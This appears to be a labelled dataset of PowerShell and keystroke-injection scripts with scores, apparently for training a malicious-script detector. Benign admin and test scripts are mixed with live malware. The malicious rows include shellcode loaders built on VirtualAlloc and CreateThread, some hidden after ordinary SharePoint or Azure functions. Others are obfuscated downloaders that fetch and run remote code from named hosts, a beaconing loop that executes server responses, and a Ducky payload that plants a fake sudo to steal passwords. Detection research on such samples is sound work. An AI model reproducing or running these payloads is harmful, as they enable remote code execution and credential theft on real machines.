"win+r enter powershell enter enter enter Describe ""New-PSSessionOption parameters for non-Windows platforms"" -Tag ""CI"" { enter enter BeforeAll { enter $originalDefaultParameterValues = $PSDefaultParameterValues.Clone() enter enter if ($IsWindows) { enter $PSDefaultParameterValues['it:skip'] = $true enter } enter } enter enter AfterAll { enter $global:PSDefaultParameterValues = $originalDefaultParameterValues enter } enter enter It ""Verifies New-PSSessionOption parameters"" { enter enter $cmdInfo = Get-Command New-PSSessionOption enter enter $commonParameterCount = [System.Management.Automation.Internal.CommonParameters].GetProperties().Length enter $cmdInfo.Parameters.Count | Should -Be ($commonParameterCount + 2) -Because ""Only -SkipCACheck and -SkipCNCheck switch parameters are available"" enter enter { $null = $cmdInfo.ResolveParameter(""SkipCACheck"") } | Should -Not -Throw -Because ""SkipCACheck parameter should be available"" enter { $null = $cmdInfo.ResolveParameter(""SkipCNCheck"") } | Should -Not -Throw -Because ""SkipCNCheck parameter should be available"" enter } enter } enter enter Describe ""SkipCACheck and SkipCNCheck PSSession options are required for New-PSSession on non-Windows platforms"" -Tag ""CI"" { enter enter BeforeAll { enter $originalDefaultParameterValues = $PSDefaultParameterValues.Clone() enter enter if ($IsWindows) { enter $PSDefaultParameterValues['it:skip'] = $true enter } enter else { enter $userName = ""User_$(Get-Random -Maximum 99999)"" enter $userPassword = ""Password_$(Get-Random -Maximum 99999)"" enter $cred = [pscredential]::new($userName, (ConvertTo-SecureString -String $userPassword -AsPlainText -Force)) enter $soSkipCA = New-PSSessionOption -SkipCACheck enter $soSkipCN = New-PSSessionOption -SkipCNCheck enter } enter } enter enter AfterAll { enter $global:PSDefaultParameterValues = $originalDefaultParameterValues enter } enter enter $testCases = @( enter @{ enter Name = 'Verifies expected error when session options is missing' enter ScriptBlock = { New-PSSession -cn localhost -Credential $cred -Authentication Basic -UseSSL } enter ExpectedErrorCode = 825 enter }, enter @{ enter Name = 'Verifies expected error when SkipCACheck option is missing' enter ScriptBlock = { New-PSSession -cn localhost -Credential $cred -Authentication Basic -UseSSl -SessionOption $soSkipCN } enter ExpectedErrorCode = 825 enter }, enter @{ enter Name = 'Verifies expected error when SkipCNCheck option is missing' enter ScriptBlock = { New-PSSession -cn localhost -Credential $cred -Authentication Basic -UseSSl -SessionOption $soSkipCA } enter ExpectedErrorCode = 825 enter } enter ) enter enter It ""<Name>"" -TestCases $testCases { enter param ($scriptBlock, $expectedErrorCode) enter enter if ( (Get-PlatformInfo) -eq ""alpine"" ) { enter Set-ItResult -Pending -Because ""MI library not available for Alpine"" enter return enter } enter enter $er = { & $scriptBlock } | Should -Throw -ErrorId 'System.Management.Automation.Remoting.PSRemotingDataStructureException,Microsoft.PowerShell.Commands.NewPSSessionCommand' -PassThru enter $er.Exception.ErrorCode | Should -Be $expectedErrorCode enter } enter } enter enter",0,0,0.9998703,0.00012965691
"win+r powershell enter  $samplePrivateBlobNoPassword = ""MIIJ+QIBAzCCCbUGCSqGSIb3DQEHAaCCCaYEggmiMIIJn enter jCCBhcGCSqGSIb3DQEHAaCCBggEggYEMIIGADCCBfwGCyqGSIb3DQEMCgECoIIE/jCCBPowHAYKKoZIh enter vcNAQwBAzAOBAgUeBd7F2KZUwICB9AEggTYSRi88/Xf0EZ9smyYDCr+jHa7a/510s19/5wjqGbLTT/CY enter Bu2qSOhj+g9sNvjj5oWAcluaZ4XCl/oJhXlB+9q9ZYSC6pPhma7/Il+/zlZm8ZUMfgnUefpKXGj+Ilyd enter ghya2DOA0PONDGbqIJGBYC0JgtiL7WcYyA+LEiO0vXc2fZ+ccjQsHM+ePFOm6rTJ1oqE3quRC5Ls2Bv2 enter 2PCmF+GWkWxqH1L5x8wR2tYfecEsx4sKMj318novQqBlJckOUPDrTT2ic6izFnDWS+zbGezSCeRkt2vj enter CUVDg7Aqm2bkmLVn+arA3tDZ/DBxgTwwt8prpAznDYG07WRxXMUk8Uqzmcds85jSMLSBOoRaS7GwIPpr enter x0QwyYXd8H/go2vafuGCydRk8mA0bGLXjYWuYHAtztlGrE71a7ILqHY4XankohSAY4YF9Fc1mJcdtsuI enter Cs5vNosw1lf0VK5BR4ONCkiGFdYEKUpaUrzKpQiw3zteBN8RQs/ADKGWzaWERrkptf0pLH3/QnZvu9xw enter wnNWneygByPy7OVYrvgjD27x7Y/C24GyQweh75OTQN3fAvUj7IqeTVyWZGZq32AY/uUXYwASBpLbNUtU enter BfJ7bgyvVSZlPvcFUwDHJC1P+fSP8Vfcc9W3ec9HqVheXio7gYBEg9hZrOZwiZorl8HZJsEj5NxGccBm enter e6hEVQRZfar5kFDHor/z enter enter",1,1,6.4897155e-05,0.99993515
"win+r enter powershell enter enter enter  enter enter function Get-SPUrl { enter param( enter [Parameter(Mandatory=$true)] enter $SPobject enter ) enter if($SPobject.PsObject.TypeNames -contains ""System.String""){ enter enter [Uri]$Url = $SPobject enter enter if($Url -match ""(/Forms/).*?\.(aspx$)""){ enter New-Object PSObject -Property @{ enter Url = (($Url.Scheme + ""://"" + $Url.Host + $Url.LocalPath) -replace ""(/Forms/).*?\.(aspx)"","""") enter WebUrl = (($Url.Scheme + ""://"" + $Url.Host + $Url.LocalPath) -replace ""/([^/]*)(/Forms/).*?\.(aspx)"","""") enter } enter enter }elseif($Url -match ""(/Lists/).*?\.(aspx$)""){ enter New-Object PSObject -Property @{ enter Url = (($Url.Scheme + ""://"" + $Url.Host + $Url.LocalPath) -replace ""/([^/]*)\.(aspx)"","""") enter WebUrl = (($Url.Scheme + ""://"" + $Url.Host + $Url.LocalPath) -replace ""(/Lists/).*?\.(aspx)"","""") enter } enter enter }elseif($Url -match ""_layouts""){ enter New-Object PSObject -Property @{ enter Url = ((($Url.Scheme + ""://"" + $Url.Host + $Url.LocalPath) -replace ""(/_layouts/).+"","""") -replace ""\\"",""/"") enter } enter }elseif($Url -match ""/SitePages/Homepage.aspx$"" -or $Url -match ""/default.aspx$""){ enter New-Object PSObject -Property @{ enter Url = (($Url.Scheme + ""://"" + $Url.Host + $Url.LocalPath) -replace ""/SitePages/Homepage.aspx"", """" -replace ""/default.aspx"","""") enter } enter enter }elseif($Url -match ""_vti_history""){ enter New-Object PSObject -Property @{ enter Url = ((($Url.Scheme + ""://"" + $Url.Host + $Url.LocalPath) -replace ""_vti_history/(.*[0-9])/"","""") -replace ""\\"",""/"") enter } enter enter }else{ enter New-Object PSObject -Property @{ enter Url = ($Url.Scheme + ""://"" + $Url.Host + $Url.LocalPath) enter } enter } enter enter }elseif($SPobject.PsObject.TypeNames -contains ""Microsoft.SharePoint.SPList""){ enter enter New-Object PSObject -Property @{ enter Url = (([Uri]$SPobject.Parentweb.Url).Scheme + ""://"" + ([uri]$SPobject.Parentweb.Url).host + $SPobject.RootFolder.ServerRelativeUrl) enter } enter enter }elseif($SPobject.PsObject.TypeNames -contains ""Microsoft.SharePoint.SPWeb""){ enter enter New-Object PSObject -Property @{ enter Url = $SPobject.Url enter } enter enter }elseif($SPobject.PsObject.TypeNames -contains ""Microsoft.SharePoint.SPListItem""){ enter enter New-Object PSObject -Property @{ enter Url = ($SPobject.ParentList.ParentWeb.Url + ""/"" + $SPobject.Url) enter } enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xda,0xc1,0xba,0xe0,0xef,0x48,0x9f,0xd9,0x74,0x24,0xf4,0x5e,0x2b,0xc9,0xb1,0x49,0x83,0xee,0xfc,0x31,0x56,0x15,0x03,0x56,0x15,0x02,0x1a,0xb4,0x77,0x4b,0xe5,0x45,0x88,0x2b,0x6f,0xa0,0xb9,0x79,0x0b,0xa0,0xe8,0x4d,0x5f,0xe4,0x00,0x26,0x0d,0x1d,0x92,0x4a,0x9a,0x12,0x13,0xe0,0xfc,0x1d,0xa4,0xc5,0xc0,0xf2,0x66,0x44,0xbd,0x08,0xbb,0xa6,0xfc,0xc2,0xce,0xa7,0x39,0x3e,0x20,0xf5,0x92,0x34,0x93,0xe9,0x97,0x09,0x28,0x08,0x78,0x06,0x10,0x72,0xfd,0xd9,0xe5,0xc8,0xfc,0x09,0x55,0x47,0xb6,0xb1,0xdd,0x0f,0x67,0xc3,0x32,0x4c,0x5b,0x8a,0x3f,0xa6,0x2f,0x0d,0x96,0xf7,0xd0,0x3f,0xd6,0x5b,0xef,0x8f,0xdb,0xa2,0x37,0x37,0x04,0xd1,0x43,0x4b,0xb9,0xe1,0x97,0x31,0x65,0x64,0x0a,0x91,0xee,0xde,0xee,0x23,0x22,0xb8,0x65,0x2f,0x8f,0xcf,0x22,0x2c,0x0e,0x1c,0x59,0x48,0x9b,0xa3,0x8e,0xd8,0xdf,0x87,0x0a,0x80,0x84,0xa6,0x0b,0x6c,0x6a,0xd7,0x4c,0xc8,0xd3,0x7d,0x06,0xfb,0x00,0x07,0x45,0x94,0xe5,0x35,0x76,0x64,0x62,0x4e,0x05,0x56,0x2d,0xe4,0x81,0xda,0xa6,0x22,0x55,0x1c,0x9d,0x92,0xc9,0xe3,0x1e,0xe2,0xc0,0x27,0x4a,0xb2,0x7a,0x81,0xf3,0x59,0x7b,0x2e,0x26,0xcd,0x2b,0x80,0x99,0xad,0x9b,0x60,0x4a,0x45,0xf6,0x6e,0xb5,0x75,0xf9,0xa4,0xde,0x1f,0x03,0x2f,0x24,0xaa,0xba,0x51,0xce,0x56,0xbd,0xbc,0x53,0xdf,0x5b,0xd4,0x7b,0x89,0xf4,0x41,0xe5,0x90,0x8f,0xf0,0xea,0x0f,0xea,0x33,0x60,0xa3,0x0a,0xfd,0x81,0xce,0x18,0x6a,0x62,0x85,0x43,0x3d,0x7d,0x30,0xe9,0xc2,0xeb,0xbe,0xb8,0x95,0x83,0xbc,0x9d,0xd2,0x0b,0x3f,0xc8,0x68,0x85,0xd5,0xb3,0x06,0xea,0x39,0x34,0xd7,0xbc,0x53,0x34,0xbf,0x18,0x07,0x67,0xda,0x66,0x92,0x1b,0x77,0xf3,0x1c,0x4a,0x2b,0x54,0x74,0x70,0x12,0x92,0xdb,0x8b,0x71,0x22,0x20,0x5a,0xbc,0xa0,0x50,0xe8,0xac,0x68;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.2063555e-05,0.9999479
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_jgr9w9nj"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_display_devices.csv"") -NoTypeInformation enter Write-Host ""Starting network_checks section 2."" enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_adapter.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4170134e-05
"win+r powershell enter Describe ""TestWSMan tests"" -Tags 'Feature','RequireAdminOnWindows' { BeforeAll enter { $originalDefaultParameterValues = $PSDefaultParameterValues.Clone() if ( !$ enter IsWindows ) { $PSDefaultParameterValues[""it:skip""] = $true } else { $testWsm enter an = [Microsoft.WSMan.Management.TestWSManCommand]::new() } } enter enter",1,1,0.0044524805,0.99554753
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_ppcq5l2p"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_display_devices.txt"") -Encoding UTF8 enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_volume.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999651,3.4876866e-05
"win+r enter powershell enter enter enter $ASC_EncStr=[System.Text.Encoding]::ASCII; enter $rlv_Var1 = ""32""; enter $ok=$true enter $J_var_global=$null; enter $vrPArm = ""WyI0NjMwOTcxNDgyOTg4Mzc3MzM1IiwxNjc5MTU3MTQxLCJOREE1TURRQUJnb0FEUU1CRFFnR0RRZ0JBd01EQXdvRlNBMEhDUUFCQWt3SUJnTU5BUXdIQlFBQVJXOVhSa2clM0QiXQ==""; enter function getValueByPositionArray([string]$bt2ArrS) { enter $btArrS=[System.Convert]::FromBase64String($bt2ArrS); enter enter $st=$ASC_EncStr.GetBytes('Get-ItemPropertyValue'); enter $ed=$btArrS[0..4]; enter enter $i=0; enter $l=$ed.Length; enter $k=@(); enter enter [array]::Resize([ref]$k,$st.length); enter foreach($b in $st) {$k[$i++]=$b -bxor $ed[$i%$l]} enter enter $bs=$btArrS[5..$btArrS.length]; enter enter $i=0; enter $l=$k.Length; enter $dt=@(); enter enter [array]::Resize([ref]$dt,$bs.length); enter foreach($b in $bs) {$dt[$i++]=$b -bxor $k[$i%$l]} enter enter return $ASC_EncStr.GetString($dt) | ConvertFrom-Json; enter } enter enter $v = ""0""; enter enter try { enter $J_var_global=$ASC_EncStr.GetString([System.Convert]::FromBase64String($vrPArm)) | ConvertFrom-Json; enter } catch{} enter enter $is=$J_var_global[1]; enter $d = ""freementgde.xyz""; enter $u=$J_var_global[0]; enter $dat = $null; enter enter $convType = ""HKCU:\Software\AudioConverterStudio\""; enter $di=$J_var_global[2]; enter enter $a = $ASC_EncStr; enter $lang = ""Language""; enter while($ok) { enter try{ enter try{ enter if (!(Test-Path $convType)){New-Item -Path $convType | Out-Null;} enter } enter catch{} enter enter $cr = $false; enter if ($dat -eq $null) { enter try { enter $r = Get-ItemPropertyValue -Path $convType -Name $lang; enter $dat = getValueByPositionArray($r); enter $v = $dat[0]; enter $cr = $true; enter }catch{} enter } else { enter $v = $dat[0]; enter } enter enter try { enter $fmt = ""https://{0}/x?u={1}&is={2}&lv={3}&rv={4}&did={5}"" -f $d,$u,$is,$rlv_Var1,$v,$di enter $dt = wget $fmt -UseBasicParsing; enter enter $dat2 = getValueByPositionArray($dt); enter if ($dat2[0] -gt $v) { enter $v2 = $dat2[0]; enter enter New-ItemProperty -Path $convType -Name $lang -Value $dt -PropertyType ""String"" -Force | Out-Null; enter $dat = $dat2; enter $cr = $true; enter } enter }catch{} enter enter if ($cr -eq $true) { enter try{ enter stop; enter }catch{} enter try {iex $dat[1];}catch{} enter } enter } catch{} enter enter try { enter $mxs = ((get-random 80 -minimum 55)*60); enter $cdt = [int](Get-Date -UFormat %s); enter enter :cnt while($ok) { enter try{temp($d,$u,$is,$di);}catch{} enter enter Start-Sleep (get-random 75 -minimum 35); enter $ndt = [int](Get-Date -UFormat %s); enter enter if (($ndt-$cdt) -gt $mxs) { enter break cnt; enter } enter } enter enter } catch{} enter } enter [decoded_payloads] enter [decoded:long_base64_literal] enter [""4630971482988377335"",1679157141,""NDA5MDQABgoADQMBDQgGDQgBAwMDAwoFSA0HCQABAkwIBgMNAQwHBQAARW9XRkg%3D""] enter enter",1,1,5.521092e-05,0.9999448
"win+r enter powershell enter enter enter $Tbone='*EX'.replace('*','I'); enter sal M $Tbone; enter $p22 = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072); enter [System.Net.ServicePointManager]::SecurityProtocol = $p22; enter $mv='(New-Object Net.WebClient).DownloadString(''http://paninoteka.si/Q19.jpg'')'|I`E`X; enter $asciiChars= $mv -split '-' |ForEach-Object {[char][byte]""0x$_""}; enter $asciiString= $asciiChars -join ''|M enter enter",1,1,6.254083e-05,0.9999374
"win+r powershell enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr enter lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kern enter el32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, u enter int dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags enter , IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset enter (IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name "" enter Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xb8,0x18,0xbd, enter 0x42,0x63,0xda,0xcc,0xd9,0x74,0x24,0xf4,0x5a,0x29,0xc9,0xb1,0x4b,0x31,0x42,0x15, enter 0x83,0xc2,0x04,0x03,0x42,0x11,0xe2,0xed,0x41,0xaa,0xe1,0x0d,0xba,0x2b,0x86,0x84, enter 0x5f,0x1a,0x86,0xf2,0x14,0x0d,0x36,0x71,0x78,0xa2,0xbd,0xd7,0x69,0x31,0xb3,0xff, enter 0x9e,0xf2,0x7e,0xd9,0x91,0x03,0xd2,0x19,0xb3,0x87,0x29,0x4d,0x13,0xb9,0xe1,0x80, enter 0x52,0xfe,0x1c,0x68, enter enter",1,1,5.4244705e-05,0.99994576
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""health_report_itfr0nd4"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 2 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Export-Csv -Path (Join-Path $ReportDir ""disk_logical_disk.csv"") -NoTypeInformation enter Get-ComputerInfo | enter Select-Object CsName, CsDomain, CsUserName, TimeZone, OsLastBootUpTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""computer_info_report.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4412056e-05
"win+r enter powershell enter enter enter  enter function Test-AzureIotDpsLinkedHubLifeCycle enter { enter $Location = Get-Location ""Microsoft.Devices"" ""Device Provisioning Service"" enter $IotDpsName = getAssetName enter $ResourceGroupName = getAssetName enter $IotHubName = getAssetName enter $hubKeyName = ""ServiceKey"" enter $Sku = ""S1"" enter $LinkedHubName = [string]::Format(""{0}.azure-devices.net"",$IotHubName) enter $AllocationWeight = 10 enter $resourceGroup = New-AzResourceGroup -Name $ResourceGroupName -Location $Location enter $iotDps = New-AzIoTDps -ResourceGroupName $ResourceGroupName -Name $IotDpsName -Location $Location enter Assert-True { $iotDps.Name -eq $IotDpsName } enter Assert-True { $iotDps.Properties.IotHubs.Count -eq 0 } enter $iotHub = New-AzIoTHub -Name $IotHubName -ResourceGroupName $ResourceGroupName -Location $Location -SkuName $Sku -Units 1 enter Assert-True { $iotHub.Name -eq $IotHubName } enter $hubKeys = Add-AzIoTHubKey -Name $IotHubName -ResourceGroupName $ResourceGroupName -KeyName $hubKeyName -Rights ServiceConnect enter Assert-True { $hubKeys.Count -gt 1 } enter $hubKey = Get-AzIoTHubKey -Name $IotHubName -ResourceGroupName $ResourceGroupName -KeyName $hubKeyName enter enter $HubConnectionString = [string]::Format(""HostName={0};SharedAccessKeyName={1};SharedAccessKey={2}"",$iotHub.Properties.HostName,$hubKey.KeyName,$hubKey.PrimaryKey) enter $linkedHub = Add-AzIoTDpsHub -ResourceGroupName $ResourceGroupName -Name $IotDpsName -IotHubConnectionString $HubConnectionString -IotHubLocation $iotHub.Location enter Assert-True { $linkedHub.Count -eq 1 } enter Assert-True { $linkedHub.LinkedHubName -eq $iotHub.Properties.HostName } enter Assert-True { $linkedHub.Location -eq $iotHub.Location } enter $updatedLinkedHub = Update-AzIoTDpsHub -ResourceGroupName $ResourceGroupName -Name $IotDpsName -LinkedHubName $LinkedHubName -AllocationWeight $AllocationWeight enter Assert-False { $updatedLinkedHub.ApplyAllocationPolicy } enter Assert-True { $updatedLinkedHub.AllocationWeight -eq $AllocationWeight } enter $linkedHub1 = Get-AzIoTDpsHub -ResourceGroupName $ResourceGroupName -Name $IotDpsName -LinkedHubName $LinkedHubName enter Assert-True { $linkedHub1.Count -eq 1 } enter Assert-True { $linkedHub1.LinkedHubName -eq $LinkedHubName } enter Assert-True { $linkedHub1.Location -eq $Location } enter Assert-False { $linkedHub1.ApplyAllocationPolicy } enter Assert-True { $linkedHub1.AllocationWeight -eq $AllocationWeight } enter $result = Remove-AzIoTDpsHub -ResourceGroupName $ResourceGroupName -Name $IotDpsName -LinkedHubName $LinkedHubName -PassThru enter Assert-True { $result } enter Remove-AzResourceGroup -Name $ResourceGroupName -force enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xb8,0xf3,0x83,0x8c,0xad,0xd9,0xf6,0xd9,0x74,0x24,0xf4,0x5d,0x33,0xc9,0xb1,0x47,0x31,0x45,0x13,0x03,0x45,0x13,0x83,0xc5,0xf7,0x61,0x79,0x51,0x1f,0xe7,0x82,0xaa,0xdf,0x88,0x0b,0x4f,0xee,0x88,0x68,0x1b,0x40,0x39,0xfa,0x49,0x6c,0xb2,0xae,0x79,0xe7,0xb6,0x66,0x8d,0x40,0x7c,0x51,0xa0,0x51,0x2d,0xa1,0xa3,0xd1,0x2c,0xf6,0x03,0xe8,0xfe,0x0b,0x45,0x2d,0xe2,0xe6,0x17,0xe6,0x68,0x54,0x88,0x83,0x25,0x65,0x23,0xdf,0xa8,0xed,0xd0,0x97,0xcb,0xdc,0x46,0xac,0x95,0xfe,0x69,0x61,0xae,0xb6,0x71,0x66,0x8b,0x01,0x09,0x5c,0x67,0x90,0xdb,0xad,0x88,0x3f,0x22,0x02,0x7b,0x41,0x62,0xa4,0x64,0x34,0x9a,0xd7,0x19,0x4f,0x59,0xaa,0xc5,0xda,0x7a,0x0c,0x8d,0x7d,0xa7,0xad,0x42,0x1b,0x2c,0xa1,0x2f,0x6f,0x6a,0xa5,0xae,0xbc,0x00,0xd1,0x3b,0x43,0xc7,0x50,0x7f,0x60,0xc3,0x39,0xdb,0x09,0x52,0xe7,0x8a,0x36,0x84,0x48,0x72,0x93,0xce,0x64,0x67,0xae,0x8c,0xe0,0x44,0x83,0x2e,0xf0,0xc2,0x94,0x5d,0xc2,0x4d,0x0f,0xca,0x6e,0x05,0x89,0x0d,0x91,0x3c,0x6d,0x81,0x6c,0xbf,0x8e,0x8b,0xaa,0xeb,0xde,0xa3,0x1b,0x94,0xb4,0x33,0xa4,0x41,0x1a,0x64,0x0a,0x3a,0xdb,0xd4,0xea,0xea,0xb3,0x3e,0xe5,0xd5,0xa4,0x40,0x2c,0x7e,0x4e,0xba,0xa6,0x41,0x27,0xcb,0x84,0x2a,0x3a,0xd4,0xf9,0xf6,0xb3,0x32,0x93,0x16,0x92,0xed,0x0b,0x8e,0xbf,0x66,0xaa,0x4f,0x6a,0x03,0xec,0xc4,0x99,0xf3,0xa2,0x2c,0xd7,0xe7,0x52,0xdd,0xa2,0x5a,0xf4,0xe2,0x18,0xf0,0xf8,0x76,0xa7,0x53,0xaf,0xee,0xa5,0x82,0x87,0xb0,0x56,0xe1,0x9c,0x79,0xc3,0x4a,0xca,0x85,0x03,0x4b,0x0a,0xd0,0x49,0x4b,0x62,0x84,0x29,0x18,0x97,0xcb,0xe7,0x0c,0x04,0x5e,0x08,0x65,0xf9,0xc9,0x60,0x8b,0x24,0x3d,0x2f,0x74,0x03,0xbf,0x13,0xa3,0x6d,0xb5,0x7d,0x77;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.157498e-05,0.9999484
"win+r powershell enter function Get-ComputerDetail { <# .SYNOPSIS This script is used to get useful in enter formation from a computer. Function: Get-ComputerDetail Author: Joe Bialek, Tw enter itter: @JosephBialek Required Dependencies: None Optional Dependencies: None enter enter",1,1,6.432016e-05,0.9999356
"win+r powershell enter DUCKY_REAL_BEGIN enter REM author: Suryapratap singh enter REM you need to change the example.txt and port if you wish! enter DELAY 2000 enter GUI space enter DELAY 500 enter ALT F2 enter DELAY 500 enter BACKSPACE enter DELAY 100 enter STRING terminal enter ENTER enter DELAY 3000 enter STRING rm -rf ~/.config/sudo enter ENTER enter DELAY 100 enter STRING mkdir -p ~/.config/sudo enter ENTER enter DELAY 100 enter STRING echo '#!'$SHELL > ~/.config/sudo/sudo enter ENTER enter STRING /usr/bin/sudo -n true 2>/dev/null enter ENTER enter STRING if [ $? -eq 0 ] enter ENTER enter STRING then enter ENTER enter STRING /usr/bin/sudo $@ enter ENTER enter STRING else enter ENTER enter STRING echo -n ""[sudo] password for $USER: "" enter ENTER enter STRING read -s pwd enter ENTER enter STRING echo enter ENTER enter STRING echo ""$pwd"" | /usr/bin/sudo -S true 2>/dev/null enter ENTER enter STRING if [ $? -eq 1 ] enter ENTER enter DUCKY_REAL_END enter",1,1,5.8827693e-05,0.9999411
"powershell -win hidden $r42m6h=iex($('[Environment]::GetEhvzt'''.Replace('hvz',' enter nvironmentVariable(''public'') + ''\ enter 1te6r.ba')));$flol=iex($('[Environment]::G enter etEhvzt'''.Replace('hvz','nvironmentVariable(''public'') + ''\\asa7.ba')));funct enter ion getit([string]$fz, [string]$oulv){$ff=iex($('(Nfgb3w-Objfgb3ct Systfgb3m.Nfg enter b3t.Wfgb3bClifgb3nt).Downbqw6e($oulv.Replace(''n8v6'',''tps://'').Replace(''exb' enter ', ''e''), $fz)').Replace('fgb3', 'e').Replace('bqw6', 'loadFil'));iex('stbrdxar enter tbrdx $fz'.Replace('tbrdx','t'))};$fzf=$(Get-Location).tostring() + '\\';Remove- enter Item -Path ($fzf + $(Get-ChildItem -Include *.lnk -Name));getit -fz ($fzf + 'Irs enter Tax Status.pdf') -oulv 'htn8v6pprexbssplayy.com/dexbcoy.pdf';getit -fz $flol -o enter ulv 'htn8v6pprexbssplayy.com/Facexbbook.exbxexb';exit enter",1,1,6.05717e-05,0.99993944
"win+r enter powershell enter enter enter $rgName='MyResourceGroup' enter $location='eastus' enter $cred = Get-Credential -Message ""Enter a username and password for the virtual machine."" enter New-AzResourceGroup -Name $rgName -Location $location enter $as = New-AzAvailabilitySet -ResourceGroupName $rgName -Location $location ` enter -Name MyAvailabilitySet -Sku Aligned -PlatformFaultDomainCount 2 -PlatformUpdateDomainCount 2 enter $subnet = New-AzVirtualNetworkSubnetConfig -Name 'MySubnet' -AddressPrefix 10.0.0.0/24 enter enter $vnet = New-AzVirtualNetwork -ResourceGroupName $rgName -Name MyVnet ` enter -AddressPrefix 10.0.0.0/16 -Location $location -Subnet $subnet enter $publicIpLB = New-AzPublicIpAddress -ResourceGroupName $rgName -Name 'MyPublicIp-LoadBalancer' ` enter -Location $location -AllocationMethod Dynamic enter enter $publicIpContoso = New-AzPublicIpAddress -ResourceGroupName $rgName -Name 'MyPublicIp-Contoso' ` enter -Location $location -AllocationMethod Dynamic enter enter $publicIpFabrikam = New-AzPublicIpAddress -ResourceGroupName $rgName -Name 'MyPublicIp-Fabrikam' ` enter -Location $location -AllocationMethod Dynamic enter $feipcontoso = New-AzLoadBalancerFrontendIpConfig -Name 'FeContoso' -PublicIpAddress $publicIpContoso enter $feipfabrikam = New-AzLoadBalancerFrontendIpConfig -Name 'FeFabrikam' -PublicIpAddress $publicIpFabrikam enter $bepoolContoso = New-AzLoadBalancerBackendAddressPoolConfig -Name 'BeContoso' enter $bepoolFabrikam = New-AzLoadBalancerBackendAddressPoolConfig -Name 'BeFabrikam' enter $probe = New-AzLoadBalancerProbeConfig -Name 'MyProbe' -Protocol Http -Port 80 ` enter -RequestPath / -IntervalInSeconds 360 -ProbeCount 5 enter $contosorule = New-AzLoadBalancerRuleConfig -Name 'LBRuleContoso' -Protocol Tcp ` enter -Probe $probe -FrontendPort 5000 -BackendPort 5000 ` enter -FrontendIpConfiguration $feipContoso -BackendAddressPool $bePoolContoso enter enter $fabrikamrule = New-AzLoadBalancerRuleConfig -Name 'LBRuleFabrikam' -Protocol Tcp ` enter -Probe $probe -FrontendPort 5000 -BackendPort 5000 ` enter -FrontendIpConfiguration $feipFabrikam -BackendAddressPool $bePoolfabrikam enter $lb = New-AzLoadBalancer -ResourceGroupName $rgName -Name 'MyLoadBalancer' -Location $location ` enter -FrontendIpConfiguration $feipcontoso,$feipfabrikam 